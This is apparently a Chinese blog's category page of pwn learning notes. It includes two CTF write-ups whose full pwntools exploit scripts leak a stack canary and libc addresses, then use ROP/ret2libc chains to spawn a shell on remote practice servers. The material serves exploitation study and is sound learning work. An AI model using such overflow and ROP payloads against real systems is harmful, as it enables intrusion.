分类目录归档:Pwn
Pwn学习总结(7):Canary 利用CVE-2010-3192实现任意地址读
Pwn学习总结(6):NX与ROP
Pwn学习总结(5):No-PIE-eXecutable,ASLR-Library
Pwn学习总结(4):无保护的栈溢出
Pwn学习总结(3):gdb调试命令篇
为方便自己初步学习用gdb调试,在这个专项总结里再开一篇文章专门记录gdb的调试命令。这篇文章应该会在未来不断更新。
Pwn学习总结(2):ELF保护知识篇
在学习下面的内容前,希望你对x86及amd64体系结构的汇编、Linux下的调用约定、ELF文件格式有一定的了解[1][2][3][4][5][7]。
继续阅读
Pwn学习总结(1):工具篇
虽然之前已经了解了一些Pwn。但根据需要,最近需要系统的学习一遍Pwn。经权威人士推荐,选择“Linux下pwn从入门到放弃”进行再次入门。
本学习总结根据该参考资料及个人经验重新总结整理。
需要用到的工具包括:
(1)gdb:GNU gcc调试器
(2)peda/gef/gdbinit:美化gdb命令行界面的脚本,同时可以扩展gdb的命令,可以参考[2]
(3)pwntools: python的一个pwn库,提供了很多封装过的用于pwn的函数
(4)checksec: 查询ELF程序的各类保护措施及程序的运行平台
(5)objdump/readelf: 查询ELF各节的关键信息
(6)IDA Pro: “全世界首屈一指”的反编译工具
(7)ROPgadget: ROP(Return-Oriented Programming)利用工具
(8)one_gadget: 快速寻找libc中的 execve(“/bin/sh”, * 的位置
(9)LibcSearcher: 非常方便的通过libc泄漏函数偏移地址和函数名查询libc版本及其他函数地址的python库
参考资料:
[1] Linux下pwn从入门到放弃 https://blog.csdn.net/niexinming/article/details/78814422
[2] https://github.com/bjrjk/GDBPlugins
AdWorld Pwn pwn1
Canary泄露入门题:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=1&id=4598&page=1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | from pwn import * from LibcSearcher import * import os context.log_level="debug" context(arch="amd64",os="linux") ROP_PopRdi = 0x400a93 ROP_Ret = 0x40067e ADDR_GOT_read = 0x600FD0 ADDR_PLT_puts = 0x400690 ADDR_SYM_main = 0x400908 p = remote("111.198.29.45",38563) #p = process("./babystack") p.sendlineafter(">> ","1") payload1 = b'0'*0x88 p.sendline(payload1) p.sendlineafter(">> ","2") p.recvuntil("00\n") canary = u64(b"\x00" + p.recv(7)) print(hex(canary)) p.sendlineafter(">> ","1") payload2 = b'0'*0x88 + p64(canary) + p64(0) + p64(ROP_PopRdi) + p64(ADDR_GOT_read) + p64(ADDR_PLT_puts) + p64(ADDR_SYM_main) p.sendline(payload2) p.sendlineafter(">> ","3") GOT_read = p.recvuntil("\n").split()[0] for i in range(len(GOT_read),8): GOT_read += b'\x00' GOT_read = u64(GOT_read) libc = LibcSearcher("read",GOT_read) ADDR_LibC_base = GOT_read - libc.dump("read") ADDR_system = ADDR_LibC_base + libc.dump("system") ADDR_String_Sh = ADDR_LibC_base + libc.dump("str_bin_sh") p.sendlineafter(">> ","1") payload3 = b'0'*0x88 + p64(canary) + p64(0) + p64(ROP_Ret) + p64(ROP_PopRdi) + p64(ADDR_String_Sh) + p64(ADDR_system) p.sendline(payload3) p.sendlineafter(">> ","3") p.interactive() |
AdWorld Pwn pwn-200
学了64位的ROPGadgets就把32位咋传参的搞忘了???
https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=1&id=4847&page=1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | from pwn import * from LibcSearcher import * import time context.log_level="debug" context(arch="amd64",os="linux") z = remote('111.198.29.45',49363) z.recvuntil("Welcome to XDCTF2015~!\n") elf = ELF("./pwn") write_plt = elf.plt['write'] read_got = elf.got['read'] main_addr = 0x80484be payload = b'a'*0x6c + p32(0) + p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got) + p32(4) + b'a'*(0x100-6*4-0x6c) z.send(payload) read_addr = u32(z.recv(4)) print(hex(read_addr)) libc = LibcSearcher('read',read_addr) libc_addr = read_addr - libc.dump('read') sys_addr = libc_addr + libc.dump('system') binsh_addr = libc_addr + libc.dump('str_bin_sh') payload2 = b'a'*0x6c + p32(0) + p32(sys_addr) + p32(0) + p32(binsh_addr) + b'a'*(0x100-4*4-0x6c) z.send(payload2) z.interactive() |
有两点要注意:一个是read函数会不多不少的读入给定的字节数,不需要换行,如果多打了换行是会算到下一个read里的。
(更新:用换行可以提前结束read函数,且这个换行符会被读入)
还有一个问题是又和64位搞混了。把栈布局成了write_plt,1,read_got,4,main_addr的结构。这是错误的。栈应该如下布置:call_function,return_function,var_1,var_2,…